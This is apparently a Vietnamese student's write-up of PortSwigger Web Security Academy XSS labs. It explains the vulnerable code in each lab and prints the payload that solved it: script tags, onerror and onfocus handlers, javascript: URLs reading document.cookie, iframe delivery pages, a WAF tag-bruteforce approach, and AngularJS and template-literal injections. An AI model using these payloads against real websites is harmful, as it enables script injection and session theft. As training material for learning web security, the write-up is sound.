---
# System prepended metadata

title: CROSS-SITE SCRIPTING WRITE UP
tags: [PortSwigger, Writeup]

---

## 1. Lab: Reflected XSS into HTML context with nothing encoded
![](https://hackmd.io/_uploads/r1GfE6Pq2.png)
- Lab trên có chứa lỗ hổng reflected XSS ở chức năng tìm kiếm, để solve lab em cần thực thi câu lệnh `alert` trên trang web
![](https://hackmd.io/_uploads/Skcq46vq3.png)
- Tính năng search không encode bất kì thứ gì, nó chỉ lấy nội dung rồi so xem có chữ cái nào trùng rồi hiện ra, nên em nghĩ em sẽ chèn vào đây câu lệnh alert(1) xem sao, vì đây là câu lệnh nên em sẽ để nó trong thẻ <script>alert(1)</script>
![](https://hackmd.io/_uploads/B1EWHaDq3.png)
- Trang web ngay lập tức hiện ra thông báo "1", nghĩa là em đã thực thi câu lệnh thành công.
![](https://hackmd.io/_uploads/B1XXHpwch.png)

## 2. Lab: Stored XSS into HTML context with nothing encoded
![](https://hackmd.io/_uploads/SJ-VD73qh.png)
- Lab này chứa lỗ hổng stored-XSS ở chức năng comment, để solve lab thì em cần submit comment mà gọi ra chức năng `alert` khi xem blog post
![](https://hackmd.io/_uploads/B1Paum3qh.png)
- Khi ấn vào bên trong một blog post, thì dưới cùng sẽ là chỗ để ta bình luận, với các nội dung: Comment, tên, email, website
- Em sẽ sử dụng thẻ <script>alert(1)</script> vào phần comment và điền bừa ở các mục khác xem sao:
![](https://hackmd.io/_uploads/HyDPY7n92.png)
![](https://hackmd.io/_uploads/S17_YQ35h.png)
- Và như thế em đã solve được lab, giờ chỉ cần em vào view blog đó trang web sẽ alert ra 1
![](https://hackmd.io/_uploads/rySoKX25h.png)

## 3. Lab: Reflected XSS into HTML context with most tags and attributes blocked
![](https://hackmd.io/_uploads/SyPuqQh53.png)
- Lab này chứa lỗ hổng reflected XSS ở trong chức năng tìm kiếm nhưng trang web sử dụng firewall để bảo vệ khỏi những trường hợp XSS phổ biến, để solve được lab thì em cần phải bypass WAF(web application firewall) và thực thi được chức năng `print()`
- Đầu tiên là em đã thử khá nhiều payload từ [PayloadAllTheThing](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection), nhưng tất cả đều thất bại, nó đều hiện ra dòng: 
            ![](https://hackmd.io/_uploads/BkSc01ac2.png)
- Vì đề bài chỉ nói là block hầu hết các HTML tags nên em nghĩ em sẽ phải lợi dụng cheatsheet mà Portswigger cung cấp để brute-force lấy tags và events có thể sử dụng được:
- Vào trang cheatsheet để lấy tags và tiến hành brute force:
    + Chọn Copy tags to clipboard, và đưa tab search vào Intruder:
    ![](https://hackmd.io/_uploads/S1a1lg6c2.png)
    + Đặt vị trí brute-force là đi tìm tag nên ta sẽ để bên trong `<>`:
    ![](https://hackmd.io/_uploads/r1Zt-xpqh.png)
    + Bruteforce thành công được tag `body`:
    ![](https://hackmd.io/_uploads/rJnDWx69h.png)
- Giờ thì ta đã biết tag là `<body>`, thứ ta cần giờ là events để thực hiện được câu lệnh alert(), đưa ngay kết quả vào tab intruder tiếp để brute force events:
    ![](https://hackmd.io/_uploads/S12Gzx6q2.png)
    ![](https://hackmd.io/_uploads/HkqEfl6qn.png)
- Kết quả ra 200 khá nhiều, em sẽ chọn câu lệnh onresize:
- Tiến vào exploit server, và thêm vào phần body câu lệnh:
`<iframe src="https://a9e001c039d3efe80abb2df00c0006f.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>`
- Sau đó ấn store rồi gửi về phía client, em đã solve được lab:
![](https://hackmd.io/_uploads/rJfuEb6qn.png)

## 4. Lab: DOM XSS in document.write sink using source location.search
![](https://hackmd.io/_uploads/HJsOynls3.png)
- Lab này chứa lỗi DOM-based XSS ở chức năng tìm kiếm search query, nó sử dụng câu lệnh javascript `document.write` - nó sẽ đóng vai trò viết dữ liệu đầu ra cho trang web, chức năng `document.write` được gọi với dữ liệu lấy từ `location.search`, cái này ta có thể control sử dụng URL của trang web
- Để solve lab thì ta cần thực hiện chức năng `alert`
- Đầu tiên thì em sẽ tìm thử chữ "a" để xem chức năng hiện kết quả search sẽ như thế nào:
![](https://hackmd.io/_uploads/Byo5nkWo2.png)
- Em sẽ F12 lên để xem rõ hơn, vì đề bài đã nói nó sử dụng chức năng `document.write` của javascript để hiện ra câu trả lời:
![](https://hackmd.io/_uploads/HkxA2JWs2.png)
- Đoạn js đã hiện ra, giờ ta sẽ phân tích đoạn js này 1 chút:
```javascript!=
function trackSearch(query){
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query){
    trackSearch(query);}
```
- Đoạn script này cho ta thấy cách xử lý khi ta search một đoạn ký tự, đầu tiên biến query sẽ lấy cái ta search trên URL bằng `URLSearchParams`, ở đây /?search=a thì giá trị của biến query chính là "a". Nếu tồn tại query thì ta sẽ thực hiện hàm trackSearch, nơi mà nó sẽ tạo một thẻ `<img>` ở tracker.gif với từ khóa tìm kiếm là giờ sẽ trở thành một phần của URL của hình ảnh
- Em sẽ tìm cách để kết thúc đoạn tạo thẻ `<img>`, rồi chèn thẻ script vào để thực thi, payload tìm kiếm của em sẽ là:`"><script>alert('XSS')</script>`, ở đây thì dấu `>` đầu tiên sẽ kết thúc chuỗi tạo thẻ `<img>`, sau đó em thực thi lệnh js với thẻ script, cuối cùng là câu lệnh này sẽ viết ra `">` vì nó là phần cuối của đoạn code nếu em inject vào. Để cụ thể hơn thì khi em tìm kiếm với payload trên, câu lệnh document.write sẽ có dạng:
    + `document.write(<img src="/resources/images/tracker.gif?searchTerms="><script>alert('XSS')</script>">');`
    + Thì đoạn `<img>` sẽ kết thúc, sau đó thực thi đoạn script rồi in ra chỗ `">"` cuối cùng
- Quả đúng như dự đoán, em đã alert thành công:
![](https://hackmd.io/_uploads/rkT90ybj2.png)
- Như vậy, em đã solve được lab:
![](https://hackmd.io/_uploads/BkdpRkWoh.png)
(để ý sẽ thấy có "> ở cuối, nó là phần cuối của câu lệnh document.write đã được thực thi)

## 5. Lab: DOM XSS in document.write sink using source location.search inside a select element
![](https://hackmd.io/_uploads/Hy_DB-bsh.png)
- Lab này chứa lỗ hổng DOM-based XSS ở chức năng check hàng hóa, chức năng này sử dụng hàm document.write trong javascript, nó sẽ viết dữ liệu đầu ra cho trang web. Chức năng này lấy dữ liệu từ location.search, nơi mà ta có thể control sử dụng URL, data được đính kèm theo với 1 element. Để solve lab thì em cần thực hiện được câu lệnh alert().
- Đầu tiên em tiến vào chức năng check stock để xem hàm sẽ xử lý ra sao:
![](https://hackmd.io/_uploads/H19TL-bjh.png)
- Đoạn javascript xử lý việc check stock cụ thể là:
```javascript!=
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
  document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
  if(stores[i] === store) {
  continue;;
  }
  document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
```
- Chức năng của đoạn code này sẽ như sau:
    + Đầu tiên nó tạo một mảng stores gồm 3 phần tử "London","Paris","Milan", sau đó tạo biến **store** để lấy storeId(tên của store) ở trên URL 
    + Sau đó tạo một thẻ `<select>` với giá trị là storeId, rồi nếu store đó có giá trị thì thực thi câu lệnh tiếp theo sẽ tạo ra một thẻ `<option>` với thuộc tính `selected` để thông báo rằng option đã được chọn, và nội dung là giá trị của biến store.
    + Tiếp đến vòng for dưới để hiện ra các thẻ `<option>` khác trong mảng stores, nếu phần tử nhập vào giống với 1 trong các phần tử của mảng thì sẽ bỏ qua và di chuyển sang phần tử tiếp theo.
    + Cuối cùng thì tạo ra thẻ `<select>` để chọn. Sau khi thực hiện đoạn mã này, trang web sẽ hiển thị 1 danh sách thả xuống để cho ta lựa chọn, nếu URL được truyền vào tham số storeId thì các tùy chọn trên sẽ được thực hiện
- Như vậy ta có thể xác định rõ rằng thứ dùng để XSS ở đây là `storeId`, như ta có thể thấy đoạn bị dính XSS chắc chắn ở `document.write('<option selected>'+store+'</option>');`, vì giá trị của biến store là giá trị của tham số storeId, sau đó câu lệnh này sẽ đưa biến store vào làm giá trị cho thẻ `<option>` nên trong lúc đó mã độc hại sẽ được thực thi, nên ta sẽ truyền vào trang web thêm biến storeId với payload là: `<script>alert('XSS')</script>`, cụ thể như sau:
![](https://hackmd.io/_uploads/H1MToWZsh.png)
- Gửi response đến browser ta thấy lệnh alert được thực thi, vậy là ta đã solve được lab:
![](https://hackmd.io/_uploads/BJfk3ZZjh.png)
![](https://hackmd.io/_uploads/S1Jbh-Zj3.png)

## 6. Lab: DOM XSS in innerHTML sink using source location.search
![](https://hackmd.io/_uploads/Bk8yzwbsh.png)
- Lab này chứa lỗ hổng DOM-based XSS ở chức năng tìm kiếm blog, nó sử dụng thuộc tính innerHTML, thứ sẽ thay đổi nội dung HTML ở trong thẻ `<div>`, sử dụng dữ liệu từ `location.search`. Để solve lab này em cần phải thực hiện chức năng alert.
- Đầu tiên em sẽ thử xem xét chức năng tìm kiếm blog của trang web:
![](https://hackmd.io/_uploads/HyQZSPWsh.png)
- Đoạn script xử lý kết quả tìm kiếm đã hiện ra, chi tiết là:
```javascript!=
function doSearchQuery(query) {
  document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
  doSearchQuery(query);
}
```
- Đoạn script này sẽ lấy giá trị của tham số search trên URL đưa vào biến query, sau đó nó sẽ tìm thẻ nào có phần id='searchMessage', sau đó gán nội dung HTML của thẻ đó bằng giá trị của biến query, cho phép hiển thị kết quả của truy vấn tìm kiếm lên trang web.
- Vậy là thứ mình cần khai thác là phần giá trị của tham số search trên URL, vì giá trị này sẽ được gán vào `query` sau đó được thực hiện bằng `innerHTML`
- Em sẽ sử dụng payload là: `<img src=1 onerror=alert('XSS')>` vì innerHTML không hỗ trợ thẻ script, khi đó đầy đủ câu lệnh sẽ là:`document.getElementById('searchMessage').innerHTML = <img src=1 onerror=alert('XSS')>`, khi đó thuộc tính innerHTML sẽ tạo ra một ảnh đồng thời thực hiện đoạn mã độc hại em inject vào:
![](https://hackmd.io/_uploads/HJjrOwbj3.png)
- Alert thành công, em đã solve được lab này: 
![](https://hackmd.io/_uploads/BJxDdv-s2.png)

## 7. Lab: DOM XSS in jQuery anchor href attribute sink using location.search source
![](https://hackmd.io/_uploads/rkpRYv-in.png)
- Lab này có chứa lỗ hổng DOM-based XSS ở trang submit feedback. Nó sử dụng chức năng lựa chọn `$` của thư viện jQuery để tìm một thẻ `<a>` và đổi thuộc tính `href` sử dụng dữ liệu từ `location.search`. Để solve lab này thì em cần đưa link "back" hiện ra `document.cookie`
- Đầu tiên em cần phải xem xét tính năng submit feedback của trang web đã:
![](https://hackmd.io/_uploads/Hkhx2PWi3.png)
- Em đã thấy được đoạn xử lý khi nộp feedback, cụ thể là:
```javascript!=
$(function() {
  $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
```
- Nôm na thì đoạn code này sẽ đi tìm một thẻ `<a>` có id=backLink, sau đó nó sẽ thay đổi thuộc tính "href" của thẻ đó bằng giá trị của tham số `returnPath` trên URL
- Vì ta hoàn toàn control được tham số `returnPath`, nên ta sẽ thay đổi giá trị của biến thành `?returnPath=javascript:alert(document.cookie)`, khi đó đường dẫn sẽ thay đổi thành câu lệnh alert của javascript và sẽ được chạy khi em submit feedback:
- Sử dụng nó vào URL và em đã solve được lab:
![](https://hackmd.io/_uploads/S1O_aD-o2.png)


## 8. Lab: DOM XSS in jQuery selector sink using a hashchange event
![](https://hackmd.io/_uploads/Skb7ADZsn.png)
- Lab này có chứa lỗ hổng DOM-based XSS ở trang chủ. Nó sử dụng chức năng chọn `$()` của jQuery để tự động lăn chuột đến một post cho trước, tiêu đề của nó được truyền qua `location.hash`. Để solve lab này, em cần phải truyền cho nạn nhân một trang web sao cho nó gọi được chức năng print() ở máy nạn nhân
- Đoạn code js để tự động lăn chuột ở trang web như sau:
```javascript!=
$(window).on('hashchange', function(){
  var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
  if (post) post.get(0).scrollIntoView();
});
```
- Đoạn code js này dùng để xử khi khi 'hashchange' xảy ra, giờ em sẽ phân tích đoạn code này:
    + `window.location.hash` sẽ trả về phần sau của dấu `#` của URL, bao gồm cả dấu `#`. Nên slice(1) là để bỏ dấu `#` đi và chỉ lấy chuỗi đằng sau dấu `#`
    + Sau đó hàm `decodeURIComponent` sẽ giải mã các ký tự đặc biệt có trong chuỗi vừa lấy
    + Chọn ra thẻ `<h2>` trong phần phần tử `section` có class là `blog-list` và chứa (contains) nội dung giống với chuỗi ta vừa giải mã
    + Nếu có tồn tại thì tự động lăn đến chỗ tiêu đề thỏa mãn điều kiện trên
- Vậy là ta phải khai thác vào sau dấu `#` của URL, ta tiến hành vào exploit server để tạo trang khai thác:
- Em sẽ khai thác ở phần body với payload: `<iframe src="https://0aff003304c64c46884b2f99002300b4.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print()>'">`, đây là cách đơn giản nhất để gửi đến nạn nhân mà không thông qua trực tiếp user, ở phần src sẽ trỏ đến trang web cần khai thác, và khi thẻ `<iframe>` được chạy thì đoạn `<img src=1 onerror=print()>` được thêm vào đằng sau URL bằng cách `this.src+=`, khi đó hàm hashchange ta vừa phân tích ở trên sẽ được thực thi và đồng thời thực thi đoạn mã ở bên trong thẻ `<img>`
- Store sau đó Deliver exploit to victim, và em đã solve được lab:
![](https://hackmd.io/_uploads/SkLQGOboh.png)

## 9. Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
![](https://hackmd.io/_uploads/Hk8kqKXin.png)
- Lab này chứa lỗ hổng DOM-based XSS ở biểu thức AngularJS trong chức năng tìm kiếm. AngularJS là một thư viện javascript phổ biến, nó sẽ quét lấy nội dung của HTML nodes chứa thuộc tính `ng-app` (câu lệnh chỉ thị của AngularJS). Khi chị thỉ được thêm vào code HTML, ta có thể thực thi biểu thức javascript ở trong 2 dấu ngoặc nhọn: `{{}}`. Kĩ thuật này rất hữu ích khi dấu `<>` bị mã hóa. Để solve này thì em cần phải thực thi tấn công XSS và thực thi câu lệnh `alert`
- Đầu tiên em đã đi đọc và tìm hiểu về AngularJS, thì cách sử dụng của dấu `{{` để hiện thị ở HTML những biểu thức liên quan đến dữ liệu, khi biểu thị ra ngoài sẽ là giá trị của những biểu thức trên, như là hiển thị giá trị của một biến, biểu thức toán học, đặc biệt là tính năng gọi hàm.
- Em đã tìm kiếm cách sử dụng hàm nào để bypass và thực hiện câu lệnh JS, và em đã tìm thấy thứ này ở [PayLoadAllTheThing](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
![](https://hackmd.io/_uploads/SyHKYjEo3.png)
- Sử dụng payload này, trang web đã bị XSS thành công:
![](https://hackmd.io/_uploads/S1j1cjEs2.png)
- Vậy là em đã solve được lab trên:
![](https://hackmd.io/_uploads/Skil9sNjn.png)

## 10. Lab: Reflected DOM XSS
![](https://hackmd.io/_uploads/r18r9jEon.png)
- Lab trên đưa ra một minh chứng cho lỗ hổng reflected DOM XSS. Lỗi này xảy ra khi phía server xử lý dữ liệu từ một request và hiện ra lập tực dữ liệu ở trong response. Có một script ở trang web mà xử lý dữ liệu của data vừa nhập một cách không an toàn, từ đó làm trang web đối diện với nguy cơ bị tấn công cao. Để solve lab thì em sẽ thực hiện chức năng alert() ở trang web:
- Đầu tiên em thực hiện tính năng search của trang web và đưa vào BurpSuite:
![](https://hackmd.io/_uploads/Hyvc7hNo3.png)
- Có tận 2 trang xử lý kết quả, và cái em gần là lấy search-result, khi nó trả về từ em seach vào searchTerms, và kết quả ở mảng results dưới dạng JSON
- Đi vào đoạn src code js xử lý để phân tích xem sao:
```javascript!=
function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();
```
- Như ta có thể thấy, tính năng search này trả về response JSON theo câu lệnh eval mà không qua bất kỳ filter nào, nên em sẽ bypass ở đoạn searchTerm ở bên trên bằng việc thêm `\` và kết thúc ngoặc rồi mới thực hiện tiếp câu lệnh, payload đầy đủ là `\"-alert(1)}//` -> vì json không thể xử lý được thằng `"` đầu tiên nên nó sẽ thêm một dấu `\` vào , từ đó tạ thành 2 dấu `\\`, dấu `-` để ngăn cách giữa biểu thức trước và chức năng alert của em, sau đó đóng ngoặc để kết thúc JSON và `//` sẽ comment hết đoạn đằng sau, cụ thể thì responds sẽ là
![](https://hackmd.io/_uploads/SkFyL2Eon.png)
- Trang web đã alert ra 1, em đã solve được lab:
![](https://hackmd.io/_uploads/r1fb83Eo2.png)

## 11. Lab: Stored DOM XSS
![](https://hackmd.io/_uploads/SJ9YU2Ein.png)
- Lab này có chứa lỗ hổng stored DOM XSS ở chức năng bình luận, để solve lab thì em cần khai thác lỗ hổng để sử dụng chức năng `alert()`
- Sau khi inject thử 2 payload, em có một số nhận xét sau:
    + Payload đầu là: `<script>alert(1)</script>` thì trang web chỉ trả về body comment là: 
    ![](https://hackmd.io/_uploads/rk7Fdh4s3.png)
    + Payload thứ hai của em là: 
    `<noscript><p title="</noscript><img src=x onerror=alert(1)>">` thì trang web sẽ chỉ còn:
    ![](https://hackmd.io/_uploads/rJBTu3Eo2.png)
- Điều này chứng tỏ trang web đã có cơ chế filter, và nó là hàm **escapeHTML** ở trong source code:
```javascript!=
function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }
```
- Nó encode dấu `<` và `>` nhưng nó lại không encode hết, nên phần sau của em đã biến mất không còn dấu vết nào vì nó không được encode, chứng tỏ nó chỉ check lần xuất hiện đầu của dấu ngoặc này, nên em sẽ để trống trong cặp ngoặc đầu và payload của em ở cặp ngoặc sau:
- Payload của em là:`<><img src=x onerror=alert(1)>`
![](https://hackmd.io/_uploads/SyzhK24sh.png)
![](https://hackmd.io/_uploads/SkAnt2Ni3.png)
- Khi em trở lại blog thì alert(1), stored XSS đã thành công, em đã solve thành công lab này:
![](https://hackmd.io/_uploads/SJ7l5n4sn.png)

## 12. Lab: Reflected XSS into attribute with angle brackets HTML-encoded
![](https://hackmd.io/_uploads/S1rgpRdj2.png)
- Lab này chứa lỗ hổng reflected XSS ở chức năng tìm kiếm blog khi mà dấu `<>` đã bị HTML-encode. Để solve lab này em cần khai thác lỗ hổng XSS và thêm vào thuộc thính nhằm thực hiện chức năng alert.
- Vì dấu `<>` đã bị encode, nên việc đóng thẻ hiện tại vào chèn vào một thẻ khác là điều khó có thể thực hiện, nên em đã chọn một payload mà em thêm vào thuộc tính **onfocus**, cụ thể là: `" autofocus onfocus=alert(1) x="`, ở đây thì thuộc tính **onfocus** sẽ thực hiện đoạn code js `alert(1)`, thuộc tính **autofocus** sẽ giúp em thực hiện đoạn code liên tục, và cuối cùng thêm chữ `x="` để tiếp tục câu lệnh trên.
- Và kết quả là:
![](https://hackmd.io/_uploads/SJSCR0Osh.png)
- Em cứ ấn ok là alert sẽ xuất hiện liên tục, vậy là em đã solve được lab này:
![](https://hackmd.io/_uploads/H1xMkyFjh.png)

## 13. Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded
![](https://hackmd.io/_uploads/By-qxJKi2.png)
- Lab này chứa lỗ hổng stored XSS ở chức năng comment, để solve lab thì em cần comment mà thực hiện được lệnh alert mỗi khi click vào tên của người comment.
- Đầu tiên thì em đã thử post comment không có website, thì em XSS ở chức năng comment nhưng không được, nên em đã thêm vào website là `www.a.com` và khi nộp comment ta thấy được trang web được đưa vào thuộc tính href:
![](https://hackmd.io/_uploads/Hk2jHyKjh.png)
- Giờ em sẽ đổi nó thành payload: `javascript:alert(1)`
![](https://hackmd.io/_uploads/H1kXLJtoh.png)
- Gửi thành công, giờ em sẽ vào trang web, và ấn vào link đó để xem lệnh alert:
![](https://hackmd.io/_uploads/B1eIIyYo3.png)
- Và như vậy em đã solve được lab trên :heavy_check_mark: 

## 14. Lab: Reflected XSS in canonical link tag
![](https://hackmd.io/_uploads/r14CYV5sn.png)
- Lab trên sẽ trả về dữ liệu đầu vào của user bên trong một canonical link và sẽ loại bỏ dấu `<>`, để solve lab em cần thực hiện XSS ở trang home sao cho thực hiện được chức năng alert.
- Users sẽ sử dụng những tổ hợp phím sau:
    + `ALT+SHIFT+X`
    + `CTRL+ALT+X`
    + `Alt+X`
- Đầu tiên em sẽ đọc về bài viết mà PortSwigger đã gợi ý:
![](https://hackmd.io/_uploads/Hy_H1Scsn.png)
- Đây là cách để XSS vào trang web có input ẩn và sử dụng tổ hợp phím (thuộc tính accesskey) và khi bấm nó hiệu ứng alert sẽ xổ ra, ở đây với accesskey="X" thì ở Windows là ALT+SHIFT+X
![](https://hackmd.io/_uploads/BkZg7Hcin.png)
- Sau khi mày mò chức năng bình luận nhưng không được cái gì(chính xác là em thử thêm vào tính năng postId nhưng không được), em trở về hompage và thấy:
![](https://hackmd.io/_uploads/r1eCJBqs2.png)
- Link tag cononical được để ở bên trên phần head, em thử hỏi liệu em có thể chèn được cái gì vào đây để thêm thuộc tính cho phần link này không
- Em đã nghĩ đến việc sử dấu `?` để lừa truyền vào tham số,vì nếu em chỉ thêm dấu `?` rồi ngắt chuỗi href thì nó cũng không có tác dụng gì cả, sau đó em sẽ truyền vào payload, cụ thể như sau: `?'accesskey='X'onclick='alert(1)`
    + Dấu `'` đầu tiên sau dấu `?` là để ngắt đoạn href vì ta để ý thấy đoạn href sử dụng dấu `'`
    + Sau đó chèn vào thuộc tính accesskey='X' như bài viết trên để khi bấm ALT+SHIFT+X thì sẽ thực hiện `onclick='alert(1)`, và kết thúc bằng dấu `'` có sẵn của thuộc tính href
    + Cụ thể lúc này thẻ canonical link sẽ có dạng:`       <link rel="canonical" href='https://0a74003304ca73258320e17900820085.web-security-academy.net/?'accesskey='X'onclick='alert(1)'/>`
![](https://hackmd.io/_uploads/r16vzHqs2.png)
- Tín hiệu trả về 200 nghĩa là em đã thêm thành công được thuộc tính vào trang web, giờ chỉ cần vào trang web và bấm `ALT+SHIFT+X` là có thể solve được lab rồi:
![](https://hackmd.io/_uploads/H1LBGB5s3.png)

## 15. Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
![](https://hackmd.io/_uploads/Sk36Qrqj2.png)
- Lab trên chứa lỗ hổng reflected XSS ở chức năng tìm kiếm, nó hiện ra dữ liệu ở trong dòng javascript với dấu `'` và `\` bị thay thế, để solve lab thì em cần làm cách nào thể ra khỏi đoạn string js và thực hiện chức năng `alert`
- Trang web có chức năng search, và khi search thì chức năng js sẽ xuất hiện, cụ thể đoạn code js là:
```javascript!=
<script>
var searchTerms = 'a';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```
- Chuỗi em nhập vào sẽ được để trong dấu `''` và ở đây em đã search chữ a, sau đó sẽ thực hiện chức năng tìm những ảnh có trong thư mục tracker.gif giống với searchTerm đã bị encodeURI và sau đó sẽ xổ ra dưới dạng 1 thẻ `<img>` 
- Thì giờ mình sẽ ăn nhau ở đoạn searchTerm, em sẽ cắt luôn đoạn script này bằng việc đưa vào `</script>` để chấm dứt đoạn js của trang web, mở 1 thẻ khác để trigger tính năng alert là: `<img src=1 onerror=alert(1)>`, đầy đủ payload sẽ là: `</script><img src=1 onerror=alert(1)>`
- Trang web sẽ thực hiện từ trên xuống dưới, mặc dù đoạn sau của code JS sẽ bị lỗi, nhưng nó cũng không ngăn cản được đoạn code em chèn vào hoạt động bình thường:
![](https://hackmd.io/_uploads/BylDDB5j2.png)
- Trang web alert ra 1 và em đã solve thành công lab này

## 16. Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
![](https://hackmd.io/_uploads/HkipPS5ih.png)
- Lab trên chứa lỗ hổng reflected XSS ở chức năng tìm kiếm khi mà dấu `<>` đã bị mã hóa, input của user được đưa vào trong một chuỗi js, để solve lab thì em cần thoát khỏi chuỗi và thực hiện chức năng alert
- Đầu tiên ta quan sát script xử lý chức năng tìm kiếm:
```javascript!=
<script>
var searchTerms = 'a';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```
- Đoạn code này khá giống với lab trước, tuy nhiên lần này yêu cầu việc phải bypass đoạn string, nghĩa là giờ em cần phải thực hiện lệnh alert bên trong đoạn script này
- Điều đầu tiên mình cần làm là thoát khỏi string bằng dấu `'` đã, rồi em sẽ sử dụng payload: `;alert(1)//` để kết thúc câu lệnh `var searchTerms = '';`, sau đó đến câu lệnh `alert(1)` và rồi comment từ đoạn sau đổ đi với dấu `//`:
![](https://hackmd.io/_uploads/BJaPYHqoh.png)
- Alert 1 thành công, em đã solve được lab này:
![](https://hackmd.io/_uploads/S1GtKH9jh.png)

## 17. Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
![](https://hackmd.io/_uploads/rk-UqHqj2.png)
- Lab này chứa lỗ hổng reflected XSS ở chức năng tìm kiếm khi mà dấu `<> ""` đã bị HTML encode và dấu `''` đã bị escaped. Để solve lab thì em cần thoát khỏi js string và thực hiện chức năng alert
- Vẫn là đoạn code xử lý search quen thuộc:
```javascript!=
<script>
var searchTerms = '';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```
- Đầu tiên em đã thử payload: `';alert(1)//` nhưng không giòn:
![](https://hackmd.io/_uploads/B1oHiHqs2.png)
![](https://hackmd.io/_uploads/r1MYir9sn.png)
- F12 lên và em phát hiện ra đây chính là vấn đề, trang web đã tự động cho thêm dấu `\` đằng trước để khi kết hợp `\'` js sẽ hiểu đây là ký tự `'` ở trong chuỗi, em đã đi đọc [Tài Liệu](https://webcoban.vn/javascript/cach-su-dung-chuoi-string-trong-javascript.html) và trang web đã nói rất rõ, nếu ta sử dụng `\"` thì nghĩa là ta muốn nối chuỗi và ký tự `"` đặc biệt sẽ được nối thêm vào chuỗi:
![](https://hackmd.io/_uploads/B1IGnH5i2.png)
- Vậy thì ta chỉ cần thêm 1 dấu `\` vào đằng trước nữa là được, tại sao? Tại vì với 1 dấu `\` và trang web cho ta thêm 1 dấu nữa, nó sẽ tạo thành `\\` và js sẽ hiểu là ta muốn nối chuỗi thêm dấu `\` vào bên trong chuỗi, từ đó dấu `'` của ta sẽ không được coi là ký tự đặc biệt cần nối nữa mà ta có thể đóng được chuỗi rồi :heavy_check_mark: 
- Vậy payload của ta giờ sẽ là: `\';alert(1)//`
![](https://hackmd.io/_uploads/H1Dn3rqoh.png)
- Alert 1 thành công, em đã solve dược lab trên
![](https://hackmd.io/_uploads/SkxJ6rqj3.png)

## 18. Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
![](https://hackmd.io/_uploads/r1rs5M3o2.png)
- Lab trên chứa lỗ hổng stored XSS ở chức năng bình luận, để solve lab trên thì em cần bình luận mà thực hiện được chức năng alert khi mà ấn vào tên của tác giả bình luận
- Khi em bình luận và nhập vào website là `http://www.a.com` thì khi bình luận thành công trang web sẽ đưa link vào thẻ anchor link và đưa vào thuộc tính onclick:
![](https://hackmd.io/_uploads/SJ_chf2i3.png)
- Giờ em sẽ bypass đoạn đưa vào onclick, vì trước khi xử lý js thì browser sẽ tự HTML decode giá trị của thuộc tính onclick, nên em sẽ encode dấu `'` bằng HTML encode trước thành `&apos;`, nhưng vấn đề là em không thể truyền vào &website= `&apos;-alert(1)-&apos;` được vì làm như vậy nó sẽ không nhận dấu này là chuỗi mà nó sẽ nhận là 1 biến khác, nên em sẽ truyền vào theo dạng URL: `http://foo?&apos;-alert(1)-&apos;`
![](https://hackmd.io/_uploads/BJ5ze7hih.png)
- Gửi thành công, giờ em sẽ vào trang web xem kết quả:
![](https://hackmd.io/_uploads/Hy7Akm2s2.png)
![](https://hackmd.io/_uploads/B1r1lm3on.png)
- Trang web giờ sẽ có dạng là `http://foo?'-alert(1)-'`, khi ấn vào nó sẽ trigger chức năng alert trước khi href sang URL này.

## 19. Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
![](https://hackmd.io/_uploads/Sk_olmno2.png)
- Lab trên chứa lỗ hổng reflected XSS ở chức năng search, nó hiện dữ liệu của người dùng đưa cho ở trong một template string với dấu `<> '' ""` đều bị HTML encode, và cả dấu ` `` ` bị escape. Để solve lab thì em cần thực hiện khai thác lỗ hổng XSS để gọi chức năng alert ở trong template string này
- Tính năng search của thằng này khá lạ, cụ thể là:
![](https://hackmd.io/_uploads/SyJWG73i2.png)
```javascript!=
<script>
var message = `5 search results for 'a'`;
document.getElementById('searchMessage').innerText = message;
</script>
```
- Biến message này được khởi tạo với việc giá trị của nó là một chuỗi mẫu(template string), chuỗi mẫu này chứa văn bản "5 search results for 'a'", trong đó 'a' là một phần của chuỗi, và 5 đứng trước nó. Còn câu lệnh sau đó là đi tìm xem id của các thẻ xem cái nào giống với searchMessage, sau đó gán giá trị của message vào innerText của phần tử tìm thấy, từ đó nội dung hiện thị của phần tử đó trên trang web thành nội dung của biến message.
- Ta sẽ sử dụng template syntax của js để thực hiện XSS, đó là `${alert(1)}` -> như thế template sẽ thực hiện câu lệnh khi load đến:
![](https://hackmd.io/_uploads/By0TX73ih.png)
- Search payload trên và em đã solve được lab:
![](https://hackmd.io/_uploads/BJQe4m3o3.png)

## 20. Lab: Exploiting cross-site scripting to steal cookies
![](https://hackmd.io/_uploads/r1plUDkh3.png)
